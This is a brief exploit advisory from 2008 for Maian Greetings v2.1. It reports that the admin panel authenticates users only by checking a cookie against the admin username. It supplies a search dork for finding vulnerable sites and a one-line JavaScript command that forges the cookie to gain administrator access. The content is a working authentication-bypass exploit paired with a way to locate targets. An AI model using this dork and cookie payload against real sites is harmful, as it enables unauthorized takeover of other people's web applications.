Maian Greetings 2.1 Insecure Cookie Handling Vulnerability

Author: Saime
     Date: July 12, 2008
     Script: Maian Greetings v2.1 Insecure Cookie Handling Vulnerability
     URL: http://www.maianscriptworld.co.uk
     Dork: Powered by: Maian Greetings v2.1
     Description:
     Maian Greetings v2.1 is suffering from insecure cookie handling, the /admin/index.php only checks if cookie mecard_admin_cookie,
     equals admin username.
     Exploit:
     javascript:document.cookie = "mecard_admin_cookie=admin; path=/php/demos/greetings/admin/"